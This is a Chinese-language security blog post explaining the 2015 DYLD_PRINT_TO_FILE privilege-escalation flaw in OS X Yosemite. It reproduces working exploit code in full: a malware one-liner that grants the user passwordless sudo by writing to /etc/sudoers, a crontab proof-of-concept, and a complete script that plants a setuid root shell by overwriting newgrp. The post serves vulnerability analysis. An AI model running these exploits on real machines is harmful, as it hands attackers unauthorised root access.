Mac OSX yosemite本地提权漏洞

Published on 2015 - 08 - 07

昨晚在freebuf上看到一篇mac下恶意软件的分析文章,软件利用前段时间有报道过的DYLD_PRINT_TO_FILE环境变量来实现本地提权免密码root安装。
脚本思路大致如下:

echo "echo \"$(whoami) ALL=(ALL) NOPASSWD:ALL\" >&3 "|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo -s dosomethingroot

DYLD全称dynamic link editor,听名字是实现类似动态链接库加载的东西,DYLD_PRINT_TO_FILE是苹果在OSX 10.10加入的一个新特性,主要功能是实现将dyld进程的错误日志重定向到此环境变量指定的可写文件。不过添加这个特性的时候貌似没把它加在有安全验证的代码范围内而是直接写在dyld的main里了。。

//大致添加的代码
const char* loggingPath = _simple_getenv(envp, "DYLD_PRINT_TO_FILE");
if ( loggingPath != NULL ) {
        int fd = open(loggingPath, O_WRONLY | O_CREAT | O_APPEND, 0644);
        if ( fd != -1 ) {
                sLogfile = fd;
                sLogToFile = true;
        }
        else {
                dyld::log("dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d\n", loggingPath, errno);
        }
}

从代码中来看dyld是直接从环境变量中获取DYLD_PRINT_TO_FILE的值作为文件路径并append写打开文件,那么问题就来了。。。
普通用户可以利用这个变量在系统目录创建文件,或如前面的恶意软件那样修改root的配置文件,或修改SUID的bin文件。
更严重的是这个文件的描述符并没有被关闭,特权父进程fork出的子进程都可以对文件进行操作。
了解了原理再看恶意软件的代码,脚本首先设置环境变量DYLD_PRINT_TO_FILE,再启动newgrp这个SUID文件来执行echo "string" > &3的操作,此时3通过DYLD_PRINT_TO_FILE分配给了sudoers文件,所以结果就是在sudoers的尾部添加了一行针对当前账户的配置,脚本再去执行sudo -s command就没有提示了。
google了一番看了些歪果仁写的帖子,以下为两个关于此漏洞的poc脚本

$  EDITOR=/usr/bin/true DYLD_PRINT_TO_FILE=/this_system_is_vulnerable crontab -e

这个poc用的是suid的crontab作loader

下面是一个精彩的poc

#!/bin/sh
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
# (C) Copyright 2015 Stefan Esser <stefan.esser@sektioneins.de>
# Wait months for a fix from Apple or install the following KEXT as protection
# https://github.com/sektioneins/SUIDGuard
# Use at your own risk. This copies files around with root permissions,
# overwrites them and deletes them afterwards. Any glitch could corrupt your
# system. So you have been warned.
SUIDVICTIM=/usr/bin/newgrp
# why even try to prevent a race condition?
TARGET=`pwd`/tmpXXXXX
rm -rf $TARGET
mkdir $TARGET

cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
        setuid(0);
        setgid(0);
        system("/bin/bash -i");
        printf("done.\n");
        return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv){
        int fd;
        char buffer[1024];
        ssize_t toread, numread;
        ssize_t numwritten;
        ssize_t size;

        /* disable O_APPEND */
        fcntl(3, F_SETFL, 0);
        lseek(3, 0, SEEK_SET);

        /* write file into it */
        fd = open(
EOF
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
        , O_RDONLY, 0);
        if (fd > 0) {
                /* determine size */
                size = lseek(fd, 0, SEEK_END);
                lseek(fd, 0, SEEK_SET);
                while (size > 0) {
                        if (size > sizeof(buffer)) {
                                toread = sizeof(buffer);
                        } else {
                                toread = size;
                        }
                        numread = read(fd, &buffer, toread);
                        if (numread < toread) {
                                fprintf(stderr, "problem reading\n");
                                _exit(2);
                        }
                        numwritten = write(3, &buffer, numread);
                        if (numread != numwritten) {
                                fprintf(stderr, "problem writing\n");
                                _exit(2);
                        }
                        size -= numwritten;
                }
                fsync(3);
                close(fd);
        } else {
                fprintf(stderr, "Cannot open for reading\n");
        }
        return 0;
}
EOF
cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c
EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null
rm -rf $TARGET
/usr/bin/boomsh

这风骚的bash姿势也是让人大开眼界,歪果仁真会玩。
脚本生成了两个c,第一个比较简单,先设置用户和组到root,再调用bash;第二个把第一个生成的二进制读出来再写到文件流3(DYLD_PRINT_TO_FILE)里。
之后脚本把newgrp(host suid)拷到临时文件,编译两个c,通过crontab(loader suid)获得高权限的3文件描述符(写到host suid),crontab调用EDITOR把boomsh写到3(不要求特权),然后调用被修改了的newgrp(host suid)安装boomsh并设置boomsh的suid,再调用安装好的boomsh还原newgrp,删除临时文件,执行boomsh。

这里需要提一点,虽然write的manual中说非特权账户write带suid的bin时会去除bin的suid,但得益于DYLD_PRINT_TO_FILE,loader suid进程以root打开了带suid的host bin,文件描述符继承了root级别的特权,所以对描述符的操作会被认为是root级的,所以没有触发manual中说的对write的限制,具体的细节应该类似于win下文件的context之类的吧。

开发人员的安全意识有待提高啊。

参考链接